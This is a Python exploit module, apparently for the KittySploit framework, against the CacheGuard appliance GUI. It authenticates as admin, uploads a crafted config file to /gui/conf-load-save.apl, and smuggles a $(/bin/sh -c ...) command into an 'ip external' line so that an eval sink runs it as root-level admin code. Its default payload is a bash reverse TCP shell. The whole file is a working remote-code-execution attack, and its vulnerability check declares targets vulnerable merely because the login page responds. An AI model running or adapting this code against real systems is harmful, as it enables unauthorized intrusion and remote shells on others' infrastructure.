CacheGuard config import eval injection RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CacheGuard authenticated config import eval injection RCE."""

from __future__ import annotations

import re
from urllib.parse import urlencode

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "CacheGuard config import eval injection RCE",
        "description": (
            "Admin login and multipart upload to /gui/conf-load-save.apl injects "
            "$(cmd) into config; transaction commit eval executes as admin."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["cacheguard", "rce", "injection"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/cacheguard_conf_inject_rce_detect"],
            },
        },
    }

    port = OptPort(443, "CacheGuard HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("admin", "GUI username", required=True)
    password = OptString("", "GUI password", required=True)

    @staticmethod
    def _config_line(cmd: str) -> str:
        safe = cmd.replace("'", "'\\''")
        payload = f'$(/bin/sh -c "{safe} > /tmp/cg_rce_marker.txt 2>&1; echo RCE_DONE >> /tmp/cg_rce_marker.txt")'
        return "ip external 1.2.3.4" + payload + "\n"

    def _csrf(self) -> str:
        resp = self.http_request("GET", "/gui/login.apl", session=True)
        if resp and resp.cookies:
            tok = resp.cookies.get("csrf_cookie")
            if tok:
                return str(tok)
        body = resp.text or "" if resp else ""
        m = re.search(r'name=["\']csrf_cookie["\']\s+value=["\']([^"\']+)["\']', body)
        return m.group(1) if m else ""

    def _login(self) -> bool:
        csrf = self._csrf()
        form = urlencode(
            {
                "user": str(self.username or "admin"),
                "password": str(self.password or ""),
                "csrf_cookie": csrf,
                "process": "1",
            }
        )
        resp = self.http_request(
            "POST",
            "/gui/login.apl",
            data=form,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        if resp and resp.cookies and resp.cookies.get("CGAuthtenticateToken"):
            return True
        return bool(resp and int(resp.status_code or 0) in (200, 302))

    def _upload_config(self, config_text: str, filename: str = "evil.conf") -> int:
        token = ""
        resp0 = self.http_request("GET", "/gui/login.apl", session=True)
        if resp0 and resp0.cookies:
            token = str(resp0.cookies.get("CGAuthtenticateToken") or resp0.cookies.get("csrf_cookie") or "")
        boundary = "----cg_ks_boundary"
        body = (
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="csrf_cookie"\r\n\r\n{token}\r\n'
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="process"\r\n\r\n1\r\n'
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="file"; filename="{filename}"\r\n'
            f"Content-Type: application/octet-stream\r\n\r\n"
            f"{config_text}\r\n"
            f"--{boundary}--\r\n"
        )
        resp = self.http_request(
            "POST",
            "/gui/conf-load-save.apl",
            data=body.encode("utf-8"),
            headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
            session=True,
        )
        return int(resp.status_code or 0) if resp else -1

    def execute(self, cmd: str) -> str:
        if not self._login():
            return "login failed"
        line = self._config_line(cmd)
        st = self._upload_config(line)
        return f"conf-load-save HTTP {st}\nmarker: /tmp/cg_rce_marker.txt\npayload line: {line.strip()[:200]}"

    def check(self):
        resp = self.http_request("GET", "/gui/login.apl")
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "CacheGuard GUI reachable",
                "confidence": "medium",
            }
        return {"vulnerable": False, "reason": "GUI not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.password or "").strip():
            print_error("Set GUI password")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("Uploading malicious config (eval sink)")
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        return True if blind else True